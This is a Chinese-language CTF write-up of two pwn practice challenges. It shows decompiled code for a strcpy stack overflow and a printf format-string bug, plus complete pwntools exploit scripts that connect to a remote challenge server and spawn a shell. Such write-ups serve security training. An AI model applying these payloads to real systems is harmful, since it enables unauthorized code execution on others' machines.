1.ciscn_2019_ne_5
1.1 Checksec & IDA Pro
只开起了部分RELRO与NX。
IDA中发现4个函数
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // [esp+0h] [ebp-100h] BYREF
char src[4]; // [esp+4h] [ebp-FCh] BYREF
char v6[124]; // [esp+8h] [ebp-F8h] BYREF
char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
char v8[96]; // [esp+88h] [ebp-78h] BYREF
int *p_argc; // [esp+F4h] [ebp-Ch]
p_argc = &argc;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fflush(stdout);
*(_DWORD *)s1 = 48;
memset(v8, 0, sizeof(v8));
*(_DWORD *)src = 48;
memset(v6, 0, sizeof(v6));
puts("Welcome to use LFS.");
printf("Please input admin password:");
__isoc99_scanf("%100s", s1);
if ( strcmp(s1, "administrator") ) // password = administrator
{
puts("Password Error!");
exit(0);
}
puts("Welcome!");
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
printf("0.Exit\n:");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 0:
exit(0);
return result;
case 1:
AddLog((int)src);
break;
case 2:
Display(src);
break;
case 3:
Print();
break;
case 4:
GetFlag(src);
break;
default:
break;
}
sub_804892B();
return result;
}
GetFlag
int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h] BYREF
char v3[60]; // [esp+4h] [ebp-44h] BYREF
*(_DWORD *)dest = 48;
memset(v3, 0, sizeof(v3));
strcpy(dest, src); // 栈溢出漏洞所在地 大小为 dest 的大小,0x48
return printf("The flag is your log:%s\n", dest);
}
AddLog
int __cdecl AddLog(int a1)
{
printf("Please input new log info:");
return __isoc99_scanf("%128s", a1);
}
主要只需要看这3个函数。
分析:
1.使用密码 administrator 进入下一步。
2.输入输字1,修改 src
3.输入输字4,进行栈溢出,获取shell
Payload:
payload_pass = b'administrator'
system = elf.sym['system']
main = elf.sym['main']
sh = 0x80482EA
payload = b'A' * ( 0x48 + 0x04 ) + p32(system) + p32(main) + p32(sh)
完整PoC:
from pwn import *
#io = process("/root/Desktop/PwnSubjects/ciscn_2019_ne_5")
io = remote("node4.buuoj.cn",29477)
elf = ELF("/root/Desktop/PwnSubjects/ciscn_2019_ne_5")
context.log_level = 'debug'
system = elf.sym['system']
main = elf.sym['main']
sh = 0x80482EA
payload_pass = b'administrator'
payload = b'A' * ( 0x48 + 0x04 ) + p32(system) + p32(main) + p32(sh)
io.sendline(payload_pass)
io.sendline("1")
io.sendlineafter("info:",payload)
io.sendline("4")
io.interactive()
成功获取shell。
2. jarvisoj_fm
2.1 Checksec & IDA Pro
开启了Canary,NX,部分RELRO。
main 函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
unsigned int v5; // [esp+7Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(buf, 0, sizeof(buf));
read(0, buf, 0x50u);
printf(buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}
fmtstr_payload
由未开启PIE,获得第一种思路:
fmtstr_payload(offset,{target:target})
fmtstr_payload(偏移量,{被替换的目标:替换的目标})
构建PoC
偏移量:
AAAA-0xffbf481c[1]-0x50[2]-(nil)[3]-(nil)[4]-0xffffffff[5]-(nil)[6]-0xffbf4934[7]-0xf7f7f608[8]-0x2c[9]-0x50[10]-0x41414141[11]
[x] 代表是第几位偏移
因此是第十一位
from pwn import *
io = process("/root/Desktop/PwnSubjects/fm")
offset = 11
x = 0x804A02C
target = p32(4)
payload = fmtstr_payload(11,{x:target})
io.sendline(payload)
io.interactive()
成功获取shell
不使用fmtstr_payload的思路
因为要置 0x0804A02C 也就是 x 为0x4
Payload:
x = 0x804A02C
payload = p32(x)
payload2 = b'%4c%13$n'
用 %4c 输出四个字符,因为 %4c%11$n 本身占2个字符,因此是 %4c%13$n
完整PoC:
from pwn import *
#io = process("/root/Desktop/PwnSubjects/fm")
io = remote("node4.buuoj.cn","28463")
x = 0x804A02C
payload = p32(x)
payload2 = b'%4c%13$n'
io.sendline(payload2+payload)
io.interactive()